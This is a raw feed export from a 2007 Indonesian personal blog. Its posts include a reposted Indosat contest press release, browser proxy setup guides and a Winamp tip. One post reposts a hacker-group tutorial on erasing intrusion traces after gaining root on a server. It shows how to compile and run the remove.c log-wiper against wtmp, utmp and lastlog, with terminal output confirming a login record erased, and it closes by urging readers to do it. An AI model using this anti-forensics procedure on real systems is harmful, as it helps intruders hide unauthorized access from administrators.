align="center"&gt;&lt;strong&gt;Indosat Launch&lt;br /&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="color:#cc0000;"&gt;INDOSAT WIRELESS INNOVATION CONTEST (IWIC) 2007&lt;br /&gt;&lt;/span&gt;&lt;em&gt;Competition of Wireless Telecommunication Technology Application&lt;/em&gt;&lt;/strong&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;br /&gt;Jakarta, May 29, 2007 PT Indosat Tbk (Indosat) today launches Indosat Wireless Innovation Contest (IWIC) 2007, a competition of technology application of wireless telecommunication focusing on hardware and software development which have a benefit for the industry and the public. The program is launched by Director Corporate Services of Indosat, Sulistyo Wimbo S. Hardjito, accompany by other Indosat’s Directors, Wahyu Wijayadi and Wityasmoro Sih Handayanto.&lt;br /&gt;“IWIC 2007 program is a part of Indosat corporate social responsibility focusing on education under the umbrella program INDONESIA BELAJAR. This program is hope to be able to become a competition arena in wireless technology for students,” explained S. Wimbo Hardjito.&lt;br /&gt;The competition has been conducted for the last three years and its goals is to trigger the public to love technology, innovating and creating, specifically in the telecoomunication industry. Indosat is eager to be the pioneer in implementing knowledge transfer and technology by building value and spirit to innovate among the young generation and the general public.&lt;br /&gt;Theme and Category&lt;br /&gt;This year IWIC 2007 program is taking the theme of ” Wireless Technology for the industry and the public development” covering 2 categories (1) IDEA GENERATOR category and (2) PRODUCT ORIENTED category. Each category is divided into 2 criterias software and hardware.&lt;br /&gt;Ide Generator category is for students of junior high school and high school focusing on wireless technology innovation as an idea potential to become a new value creator for the industry and the public. The output of idea generator category will have to be in the form of written concept.&lt;br /&gt;Product oriented category is specifically for participants among the university students and the general public focusing on wireless technology innovation as application having value for the industry and the public. The output of this category will have to be in a form of prototype as an outcome from the idea propose.&lt;br /&gt;For software category, the concept is tend to an idea or an innovative application from a wireless instrument never created befor, unique, having value added and is a new breakthrough having economical value, such as fun game in mobile phone, mobile phone as as tracking instrument, increasing number of SMS character in mobile phone, etc.&lt;br /&gt;While concept of hardware category refers to an idea or an innovative application implemented in an equipment with new wireless based or an existing equipment with additional value and economical value, such as PIKO-BPI 001 or supporting electronic, wireless earthquacke detector , long distance controller with missed call, mobile phone as music player via wireless, etc.&lt;br /&gt;Judging criteria&lt;br /&gt;The overall judment will focus on ’INOVASI”, with criteria such originality of idea and the wireless innovation cretaed having economical value therefore has benefit for the industry related in a small and middle scale. Besides that, the creation has to be applicable and valueable in everyday life and can be created into a prorotype if going to grand final. For the product oriented category the concept has to be written in an A4 paper 6-8 pages. All creation will be judged by judges from innovation practition and new idea generator, vendor, researcher, representative from the media and professional from Indosat.&lt;br /&gt;”Same as last year competition, this years competition is hoped to borned new wieless innovator with a more spectacular creation and owns a high applicative value and valuable for the telecommunication industry and the public,” said S. Wimbo Hardjito. ”Seperti hasil pada kompetisi sebelumnya, kompetisi tahun ini diharapkan akan melahirkan kembali bintang-bintang inovator wireless dengan karya-karya yang lebih spektakuler dan memiliki nilai aplikasi tinggi dan manfaat besar bagi industri telekomunikasi dan masyarakat ,” tutur S. Wimbo Hardjito.&lt;br /&gt;Prize and Appreciation&lt;br /&gt;Indosat appreciation for the winners will be: for I, II, and III winner of idea generator winner, each will receive education saving with value of Rp 10 million, Rp 7.5 million, Rp 5 million, medal, 3G HP and other prizes. While for the number I, II and III winner of product oriented will receive education saving of Rp 25 million, Rp 20 million and Rp 15 million, medal, 3G HP and other prizes. The concept of participants can be delivered to Galeri Indosat all over Indonesia or through email publicrelations@indosat.com and or iwic2007@indosat.com, at the latest on October 7 2007. The grand final will be in the middle of November 2007. This program is supported by Nokia Siemens Network and Ericsson. The favorite winner will be choosen through SMS polling between tgl 2-19 Nopember 2007&lt;br /&gt;Roadshow in 16 cities.As a part of this program, Indosat starting in the beginning of June will conduct roadsho in universities in 16 cities all over Indonesia. This event is aim to build innovation spirit among the young generation also to socialize IWIC 2007. During the roadshow socialization about 3,5G Indosat will also be conducted. Other than that last year winner will also deliver their testimony and their success story about IWIC program. Currently last year winner has become Indosat’s innovation team.&lt;br /&gt;”Indosat will continue to be consistent in commiting its social responsibility for the public through education, including its commitment to create an innovative young gerations in the technology field, specifically in wireless technology,” S. Wimbo Hardjito ended his explanations.&lt;/div&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;div align="justify"&gt;&gt;&gt; Anda boleh akses langsung ke situs panitia dan penyelenggara untuk informasi lainnya : &lt;a href="http://www.indosat.com/Content.asp?id=677"&gt;http://www.indosat.com/Content.asp?id=677&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5828929578213178164-6930087889196394298?l=sihite.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.indosat.com/Content.asp?id=677' title='INDOSAT WIRELESS INNOVATION CONTEST (IWIC) 2007'/><link rel='replies' type='application/atom+xml' href='http://sihite.blogspot.com/feeds/6930087889196394298/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5828929578213178164&amp;postID=6930087889196394298&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5828929578213178164/posts/default/6930087889196394298'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5828929578213178164/posts/default/6930087889196394298'/><link rel='alternate' type='text/html' href='http://sihite.blogspot.com/2007/06/indosat-wireless-innovation-contest.html' title='INDOSAT WIRELESS INNOVATION CONTEST (IWIC) 2007'/><author><name>-S -I -H -I -T -E</name><uri>http://www.blogger.com/profile/00645760863547254478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5828929578213178164.post-3539775640244592022</id><published>2007-06-19T17:43:00.000+07:00</published><updated>2007-06-19T18:15:02.919+07:00</updated><title type='text'>Hapus Log .....!Silahkan....Baca dulu ..!</title><content type='html'>Hacking and Cracking is Different...So..Please your thinking about them..!!&lt;br /&gt;&lt;br /&gt;&gt;&gt;&gt;&gt;&gt;Mari kita bahas sedikit artikel yang lebih menarik lagi........!!!&lt;br /&gt;Nihh asli terbitan dari kecoak e-lektronik iya...kan..? Baca aja dehh..ketimbang cape ngasih komentar melulu...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Terbitan Online Kecoak Elektronikhttp://k-elektronik.org&lt;br /&gt;============================================================&lt;br /&gt;Bagaimana menghapus jejakScript Kiddies Tutorial(c) cbug aka CyberBug (Kecoak Elektronik)============================================================&lt;br /&gt;Pemberitahuan :1. Artikel ini dimaksudkan untuk bahan pelajaran para admin dan siapasaja yang ingin mengembangkan pengetahuan networking/internet mereka.2. Kecoak Elektronik tidak bertanggung jawab atas penyalah gunaan artikelini.3. Kecoak Elektronik tetap menyertakan dan tidak menghapus Nama Penuliseksploit/script dengan harapan pembaca juga tetap menyertakan kredituntuk mereka, jangan mengganti nama2 penulis artikel/eksploit/scriptdengan nama anda dengan harapan nanti dianggap hacker.&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#cc0000;"&gt;&lt;strong&gt;A. Apa yang harus ada&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;1. Server yang berhasil di rootTerserah mo pake apa, boljug pake contoh eksploit pada artikel sayasebelumnya, pake remote eksploit juga boleh&lt;br /&gt;2. Program penghapus LogAda banyak dan bermacam-macam program penghapus log, pilih apa yangmenurut kamu bagus dan cocok buat kamu, untuk langkah awal kamu bisacoba gunakan remove.c dari Simple Nomad.&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#cc0000;"&gt;&lt;strong&gt;B. Menghapus jejak&lt;/strong&gt;  &lt;/span&gt;&lt;span style="color:#330033;"&gt;&lt;em&gt;[Bukan Album Peterpan yahh...]&lt;/em&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Nah … kamu sudah dapat akses root, asyiiik … tapi eh nanti dulu,gimana kalo adminnya tau?, gak … dia gak bakalan tau, kalau kamu pakeprogram penghapus log untuk menghilangkan jejak kamu.Caranya? … download remove.c dari site k-elektronik, kemudian compiledi mesin sasaran kamu, baca dulu baik2 cara compile nya di source remove.cBTW … remove harus di running sebagai root (untuk latihan, bisa sajakamu login root di mesin kamu sendiri).&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;em&gt;a. Perlu diperhatikan bagian berikut ini&lt;/em&gt;&lt;/strong&gt; :&lt;br /&gt;&lt;br /&gt;#ifdef GENERIC /* Should work with Linux, IRIX, Digital Unix, BSDs, etc */&lt;br /&gt;#define WTMP “/var/adm/wtmp”&lt;br /&gt;#define UTMP “/var/adm/utmp”&lt;br /&gt;#define LASTLOG “/var/adm/lastlog”&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt;Harap diingat bahwa tidak selalu file2 wtmp utmp dan lastlog berada padaposisi yang sama, misalnya distro Slackware menaruh file2 tsb diatas di:&lt;br /&gt;&lt;br /&gt;#define WTMP “/var/log/wtmp”&lt;br /&gt;#define UTMP “/var/run/utmp”&lt;br /&gt;#define LASTLOG “/var/log/lastlog”&lt;br /&gt;&lt;br /&gt;Jadi jangan lupa cek apakah posisi file2 wtmp utmp dan lastlog sudahsesuai dengan source remove.c&lt;br /&gt;Kamu bisa gunakan perintah :&lt;br /&gt;find / -name wtmp -print&lt;br /&gt;find / -name utmp -print&lt;br /&gt;find / -name lastlog -print&lt;br /&gt; atau&lt;br /&gt;where is wtmp&lt;br /&gt;where is utmp&lt;br /&gt;where is lastlog&lt;br /&gt;Kemudian ganti posisi file2 tersebut di remove.c sesuai dengan hasildiatas.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;em&gt;b. Kita compile sekarang? …&lt;/em&gt;&lt;/strong&gt; ayooooooooooooo.&lt;br /&gt;kecoak:/home/cbug/tools# gcc remove.c -o remove -DGENERIC&lt;br /&gt;remove.c: In function `main’:&lt;br /&gt;remove.c:50: warning: return type of `main’ is not `int’&lt;br /&gt;/tmp/ccZVzySI.o: In function `main’:&lt;br /&gt;/tmp/ccZVzySI.o(.text+0xb4): the `gets’ function is dangerous and shouldnot be used.&lt;br /&gt;&lt;br /&gt;...ada warning message … gak apa2, warning bukan error&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;em&gt;c. Cek last login nya user (cbug misalnya)&lt;/em&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;kecoak:/home/cbug/tools# lastlog  grep cbugcbug tty2 Sat Mar 11 11:32:42 -0800 2000&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;em&gt;d. Jalankan remove&lt;/em&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;kecoak:/home/cbug/tools# ./remove cbug&lt;br /&gt;REMOVE by Simple NomadNomad Mobile Research Centre (c) 1997.&lt;br /&gt;Found 549 record(s) for user cbugWill attempt a lastlog cleanup by default.&lt;br /&gt;# - remove last # records from utmp/wtmpa&lt;br /&gt;a- remove (a)ll records from utmp/wtmpq&lt;br /&gt;q- (q)uit program&lt;br /&gt;Enter selection -&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;em&gt;e. Hapus record terakhir (ketik #), atau boleh juga semua (a)&lt;br /&gt;&lt;/em&gt;&lt;/strong&gt;Enter selection -&gt; #&lt;br /&gt;REMOVE cleaned up 0 record(s) from /var/log/wtmp&lt;br /&gt;REMOVE cleaned up 0 record(s) from /var/run/utmp&lt;br /&gt;REMOVE cleaned up /var/log/lastlog&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;em&gt;f. Cek last log nya cbug&lt;/em&gt;&lt;/strong&gt;&lt;br /&gt;kecoak:/home/cbug/tools# lastlog  grep cbugcbug **Never logged in**&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;em&gt;g. Ini hasilnya kalo cbug login :&lt;br /&gt;&lt;/em&gt;&lt;/strong&gt;Selamat datang di sarang Kecoak Elektronik&lt;br /&gt;kecoak login: cbugPassword:&lt;br /&gt;Kecoak’s K-Rad OSNo mail.&lt;br /&gt;kecoak:~$&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;em&gt;h. Biasanya kalo last log nya dicatat (belum/gak dihapus) cbug bisa liatgini,&lt;/em&gt;&lt;/strong&gt; (perhatikan bagian Last login nya) :&lt;br /&gt;Selamat datang di sarang Kecoak Elektronik&lt;br /&gt;kecoak login: cbugPassword:&lt;br /&gt;Kecoak’s K-Rad OS&lt;br /&gt;Last login:&lt;br /&gt;Sat Mar 11 12:06:02 -0800 2000 on tty3.&lt;br /&gt;No mail.&lt;br /&gt;kecoak:~$&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;em&gt;i. Sekarang mohon anda laksanakan...!@!!!&lt;/em&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;–Manado, Awal Maret 2000cbug&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5828929578213178164-3539775640244592022?l=sihite.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.fl3xu5.web.id' title='Hapus Log .....!Silahkan....Baca dulu ..!'/><link rel='replies' type='application/atom+xml' href='http://sihite.blogspot.com/feeds/3539775640244592022/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5828929578213178164&amp;postID=3539775640244592022&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5828929578213178164/posts/default/3539775640244592022'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5828929578213178164/posts/default/3539775640244592022'/><link rel='alternate' type='text/html' href='http://sihite.blogspot.com/2007/06/hapus-log-silahkanbaca-dulu.html' title='Hapus Log .....!Silahkan....Baca dulu ..!'/><author><name>-S -I -H -I -T -E</name><uri>http://www.blogger.com/profile/00645760863547254478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5828929578213178164.post-7749001732579103311</id><published>2007-06-16T13:27:00.002+07:00</published><updated>2007-06-16T13:48:51.605+07:00</updated><title type='text'>Setting IP Proxy di Browser Opera</title><content type='html'>Kita telah bahas settingan IP proxy pada browser IE dan Mozilla  Fire Fox...saat nya kita akan coba dan sharing settingan bagi pengguna browser Opera ..semoga bisa membantu akan settingan ini bagi pengguna browser Opera yang terkoneksi melalui IP proxy..okey..sekarang  mari kita bahas kembali..mungkin ada miripnya pada settingan dari browser yang lainnya... yang di mulai dari link Tools juga pada daerah toolbar atas browser..&lt;br /&gt;Yupzz...ikuti juga langkahnya.. :&lt;br /&gt;Klik "Tools" pada link toolbar lanjutkan klik pada bagian "Preferences" Klik bagian tab "Adavaced" juga hingga anda akan melihat sub list tab tertentu..arahkan kursor anda pada bagian list sebalahnya yang terdapat beberapa bagian pengaturan disana seperti yang kita urutkan mulai dari atas hingga bawah seperti berikut pada tab "Advanced" :&lt;br /&gt; -tabs&lt;br /&gt; -browsing&lt;br /&gt; -notifications&lt;br /&gt;---------------&lt;br /&gt; -content&lt;br /&gt; -Fonts&lt;br /&gt; -Downloads&lt;br /&gt; -programs&lt;br /&gt;---------------&lt;br /&gt; -history&lt;br /&gt; -Cookies&lt;br /&gt; -Security&lt;br /&gt; -Network (+)&lt;br /&gt;---------------&lt;br /&gt; -Toolbars&lt;br /&gt; -Shorcuts&lt;br /&gt; -Voice&lt;br /&gt;&lt;br /&gt;ehmm ..sekarang coba  arahkan kursor anda pada list tersebut yang mengarah pada bagian  'Network" (yang sudah diberikan tanda + seperti diatas).. dari sisi bagian tersebut klik button "Proxy Server" kemudian muncul kotak dialog box yang memberikan tanda untuk diisi beberapa bagian saja untuk IP proxy ..selanjutkan isi sesuai perintah berikut :&lt;br /&gt;  - Ceklis pada chekbox : HTTP  -: Port&lt;br /&gt;   sekarang isikan IP proxy anda juga seperti IP Proxy yang saya isikan&lt;br /&gt;  [Cek dulu] HTTP : 203.130.5.154      Port : 9378&lt;br /&gt; Kemudian lanjutkan ke bawahnya cheklist juga pada perintah Chekbox pada :"Enable HTTP 1.1 for Proxy" Lanjutkan ceklist bagian chekbox yang dibawahnya "Use Proxy for local server"..&lt;br /&gt;sekarang Ok-kan..kemudian pada Buuton kotak  "Server name Completion" isikan sesuai keinginan anda secara logika yang mengarah pada website...!&lt;br /&gt;okey seperti biasa..coba launching kebeberapa browsing pada address web opera anda copy-paste url ini ke addres web opera anda sebagai uji coba : www.friendster.com/mathewcrass ato www.sihite.blogspot.com&lt;br /&gt;thx u..&lt;br /&gt;c u again for my tutorial and now ending for browsing configuration proxy server....&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5828929578213178164-7749001732579103311?l=sihite.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sihite.blogspot.com/feeds/7749001732579103311/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5828929578213178164&amp;postID=7749001732579103311&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5828929578213178164/posts/default/7749001732579103311'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5828929578213178164/posts/default/7749001732579103311'/><link rel='alternate' type='text/html' href='http://sihite.blogspot.com/2007/06/setting-ip-proxy-di-browser-opera.html' title='Setting IP Proxy di Browser Opera'/><author><name>-S -I -H -I -T -E</name><uri>http://www.blogger.com/profile/00645760863547254478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5828929578213178164.post-3241580295024590479</id><published>2007-06-16T13:27:00.001+07:00</published><updated>2007-06-16T13:27:33.027+07:00</updated><title type='text'>Setting IP Proxy di Mozila Firefox</title><content type='html'>Setting IP Proxy di Mozila Firefox&lt;br /&gt;Okey..ni lanjutan dari Settingan IP proxy sebelumnya di IE.6..sekarang kita akan bahas settingan di Mozilla ..Setelah anda sudah buka browser Mozilla dan terlebih dahulu anda pastikan atau berada daerah Hotspot atau yang membutuhkan proxy untuk koneksi to internet..!Okey kita atur setingna proxy nya sekarang....!-- setelah browser mozilla sudah terbuka, silahkan klik bagian link -Tools- bagian atas kemudian klik -Options- (mohon maaf saya singkat aja kasih tutorialnya tanpa ada panduan semisal gambar ) setelah klik Optios selanjutnya box options akan muncul...trus..arahkan kursor anda kebagian tab "Advanced" yang menyerupai gambar wheel [Roda]....sehabis tab advanced tersebut arahkan lagi ke sub tab -Networks- dari bagian tab tersebut anda lanjut kan meng-klik settings pada connecting configuration,kotak box kedua akan muncul lagi kemudian lanjutkan dengan cara "cek/pindahkan bulatan hitam ke arah &gt;&gt;&gt; Manual proxy cofiguration selanjutnya..isi pada HTTP Proxy dan portnya yang telah di sediakan oleh server anda.. semisal nilai IP proxy yang saya isi pada kotak HTTP Proxy : 203.130.206.54 Port : 9378--kemudian ceklist pada checkbox : "use this proxy server for all protocol" seterusnya anda ok-an and sekarang anda tes browsing pada mozilla anda semisal &lt;a href="http://www.sihite.blogspot.com/"&gt;www.sihite.blogspot.com&lt;/a&gt; atau &lt;a href="http://www.friendster.com/mathewcrass"&gt;www.friendster.com/mathewcrass&lt;/a&gt; ..okey..semoga settingan anda sukses dan jika gagal mohon coba lagi dan konsentrasi pada kalimat ini...hehehe.. thx..Selanjutnya jika anda pengguna browse Opera ' lihat juga settingannnya pada settingan IP proxy pada Opera... :) kembali ke bagian depan blog dan lihat archieve artikel tentang setingan IP proxy pada Opera browser...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5828929578213178164-3241580295024590479?l=sihite.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sihite.blogspot.com/feeds/3241580295024590479/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5828929578213178164&amp;postID=3241580295024590479&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5828929578213178164/posts/default/3241580295024590479'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5828929578213178164/posts/default/3241580295024590479'/><link rel='alternate' type='text/html' href='http://sihite.blogspot.com/2007/06/setting-ip-proxy-di-mozila-firefox_16.html' title='Setting IP Proxy di Mozila Firefox'/><author><name>-S -I -H -I -T -E</name><uri>http://www.blogger.com/profile/00645760863547254478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5828929578213178164.post-575916113898970296</id><published>2007-06-14T17:56:00.000+07:00</published><updated>2007-06-14T18:24:09.782+07:00</updated><title type='text'>- Setting IP Proxy Pada Internet Explorer (IE versi 6) -</title><content type='html'>Walau saya sudah cukup lama menggunakan notebook saya sendiri yang wi-fi internalnya sudah build-in namun saya sempat bingung untuk mengkoneksikan laptop tersebut secara Wireles..dengan banyak usah demi mendapatkan koneksi langsung ke notebook pribadi walau mesti bayar mahal asalkan kita bias mengalami launching internet di notebook sendiri..usah ini sempat saya lakukan hingga membeli peralatan mahal semisal Handphone sebagai modem untuk GPRS ke notebook hingga langganan paket data saya lakukan ke operator ponsel. Emang sihh cara setting modem HP ke notebook lebih mudah juga asalkan step demi step kita turuti dan tutorial tinggal download dari operator yang bersangkutan.. ternyata dibalik kesadaran saya selama ini hanya ingin membeli sebuah PCI card wi-fi ..namun untung lah hal itu tidak terjadi karena di Notebook saya sudah tersedia dulunya..maklum..saya masih total katrok untuk hal itu…dan setelah mata kuliah jaringan computer di mulai pada semester 4 tahun ajaran 2006/2007 kemarin saya baru sadar dan banyak pertanyaan yang saya ajukan kepada dosen yang juga pemenang hacking 2006 yang di selenggarakan Pazia Acer (PANHAC) yang pertama kali. Walaupun jawaban dosen nya agak sulit di mengerti tapi ini membuat saya selalu penasaran dan berusaha untuk tahu koneksi internet secara pribadi dengan biaya murah padahal sekarang saya sudah bisa akses free ..ehh ya.. saya sempat juga kerja part time sebagai opertor warnet selama 8 bulan tapi ilmu tidak menghasilkan dari sana saya hanya  terfokus untuk  join chatting doank…hiks…deh…&lt;br /&gt;   Oke .. saya mengundurkan diri dr sana dan berpikir lagi untuk koneksi internet secara free..ehh dengar ² dari teman stambuk atas yang  masih sebaya sihh ..ada koneksi internet free wi-Fi hotspot ,katanya.trus saya mulai meminta penjelasan..” masa sih bro..? balik jawaban dari dia..oke deh bro gua pinjam laptop mu dulu main internet wi-fi kesana yahh [ maksudnya di kampus USU perpustakaannya.,.. ]&lt;br /&gt;Wahh kalo gitu saya heran..masa gratis ?lagian saya kan bukan mahasiswa dari sana? Ternyata Hotspot wi-fi free tersebut bisa di akses oleh umum dengan di sediakan nya juga tempat dan colokan charger listrik nya..gua emang benar salut deh ama Kampus USU.dari pada di kampus gua..yang mesti daftar dulu trus bawa persyaratan semacam pasphoto ,copy kartu tanda mahasiswa, and bawa laptop atao PDA masing² hiks..cape dehh….Untuk ku ga ketinggalan di usu yg  bisa akses selama 12 jam nonstop dengan akses lebih cepat lagi.&lt;br /&gt;Sesampai saya disana ..saya mulai hidupkan laptop trus..cari colokan kosong untuk charger..maklum orang dah pada pernuh berebutan tempat duduk juga colokan listriknya..&lt;br /&gt;Saya sempat bingung beberapa menit mungkin sekitar 7 menit…menunmggu² akses langsung ke browsing walau power Wi-Fi dalam keadaan ‘ON”…epss..ternyata saya hamper malu bertanya…untuk saya terlalu cepat lihat pajanagan sebuah kertas ukuran A4 di atas kaca jendela Perpus denagn dua buah line karakter yang berisi :&lt;br /&gt;&lt;div&gt;&lt;/div&gt;&lt;br /&gt;&lt;div align="center"&gt;&lt;br /&gt;Untuk mengakses Wi-Fi Hotspot USU di beritahukan bahwa IP Proxy dapat digunakan yang di bawah ini :&lt;br /&gt;IP Proxy : 203.130.206.54 Port : 9378&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div align="left"&gt;&lt;br /&gt;.....Okeh sekarang saya mau setting dengan syarat yang sudah di sediakan….ikuti langkah saya untuk setting IP Proxy secara manual di laptop masing² apapun itu mereknya dan OS Windows kecuali bagi pengguna linux OS. IP proxy diatas adalah sebagai contoh ngeset IP yang akan kita gunakan. Dengan langkah yang saya lakukan sebagai berikut : &lt;/div&gt;&lt;br /&gt;&lt;div align="left"&gt;&lt;br /&gt;1. Pastikan power Wi-fi di masing² Laptop sudah dalam keadaan -ON- .Cek di bagian masing² sisi notebook dengan symbol “tiang bercahaya di ujung.”atau cari deh coba dari segala tombol yang ada di notebook kecuali wi-fi di control oleh OS secara otomatis.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div align="left"&gt;2. Setelah power -ON- lampu Led berwarna kuning atau biru juga hijau akan menandakan bahwa Wi-Fi sudah terdeteksi Hotspot. Sekarang lihat di taskbar.&lt;/div&gt;&lt;div align="left"&gt;&lt;br /&gt;3. Klik icon is taskbar atau melalui menu Start –&gt; Connect to --&gt; Wireless Network Connection kemudian pada tab – General - klik View Wireless Networks dari sana anda dapat memilih beberapa lokasi hotspot yang terdeteksi Wi-Fi ..kemudian refresh sekali lagi untuk memastikan jumlah koneksi.setalah anda memilih tekan tombol Connected atau secara default akan terkoneksi jika wireless hotspot terdiri dari satu saja. Lihat seperti langkah pada gambar berikut nya.&lt;/div&gt;&lt;div align="left"&gt;&lt;br /&gt;4. Sekarang anda sudah menemukan beberapa network wi-fi yang terkoneksi list network wireless..atau refresh lagi mana tahu masih banyak terdeteksi jaringan hotspot baru. . Okey..sampai disana anda belum bias launching atau melakukan chatting sebalum di setting terlebih dahulu di masing² perangkat lunak.&lt;/div&gt;&lt;div align="left"&gt;&lt;br /&gt;5. Secara sederhana kita akan setting langkah demi langkah lewat IE. Klik Internet Explorer anda yang berada di desktop atau di Quick Lauch taskbar. IE yang ingin di setting IP proxynya [dalam percobaan ini,saya menggunakan IE versi 6] .setelah browsing IE terbuka Klik link: Tools pilih internet Options (Lihat pada gambar) kemudian dala box yang muncul…ada beberapa tab. Okeh ..Klik tab pada connection selanjutnya pilih dan klik LAN Settings non-checklistkan – Automatically detect settings - selanjutanya Checklist pada Proxy Server – Use a proxy server for you LAN. Isikan pada IP proxy dan port yang di sediakan tadi pada bagian kotak address : 203.130.206.54 dan port: 9378 checklist juga Bypass proxy server ! tapi hati² untuk checklist –annya..mungkin punya pengaruh di belakang juga nantinya.&lt;br /&gt;Lihat gambar :!&lt;br /&gt;&lt;/div&gt;&lt;div align="left"&gt;6. Sekarang tekan - Ok – dan kembali masukkan alamat website yang anda inginkan misalkan &lt;a href="http://www.google.com/"&gt;http://www.google.com/&lt;/a&gt; atau &lt;a href="http://www.sihite.blogspot.com/"&gt;http://www.sihite.blogspot.com/&lt;/a&gt; sebagai sample browsing akses atau tidaknya..hehehe..&lt;/div&gt;&lt;div align="left"&gt;&lt;/div&gt;&lt;div align="left"&gt;Selanjutnya lihat tutorial untuk Mozilla Firefox.......!!!&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div align="left"&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5828929578213178164-575916113898970296?l=sihite.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sihite.blogspot.com/feeds/575916113898970296/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5828929578213178164&amp;postID=575916113898970296&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5828929578213178164/posts/default/575916113898970296'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5828929578213178164/posts/default/575916113898970296'/><link rel='alternate' type='text/html' href='http://sihite.blogspot.com/2007/06/setting-ip-proxy-pada-internet-explorer.html' title='- Setting IP Proxy Pada Internet Explorer (IE versi 6) -'/><author><name>-S -I -H -I -T -E</name><uri>http://www.blogger.com/profile/00645760863547254478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5828929578213178164.post-5036689982907609777</id><published>2007-06-09T15:56:00.000+07:00</published><updated>2007-06-09T16:12:32.514+07:00</updated><title type='text'>Set Efek Visualizations Winamp Sebagai Wallpaper</title><content type='html'>Winamp adalah pemutar musik pada PC namun tak selamanya fungsi Winamp hanya untuk itu saja....Gmana kalo kita manfaatkan saja Visualizations nya sebagai efek yang paling bisa di kagumi oleh teman-teman kita jika berkunjung di depan monitor ....&lt;br /&gt;Sekarang waktu nya untuk membahas lebih rinci fungsi dan manfaat Visualization Winamp sebagai wallpaper sekaligus ScreenSaver  yang tidak ada ubahnya selama musik masih keadaan [ON]..okey dehh para sobat kita yang berminat coba-coba..ini sedikit tips dan trik memperindah monitor PC or LCD Flat sedikit menggunakan Visualization yang sangat menarik.&lt;br 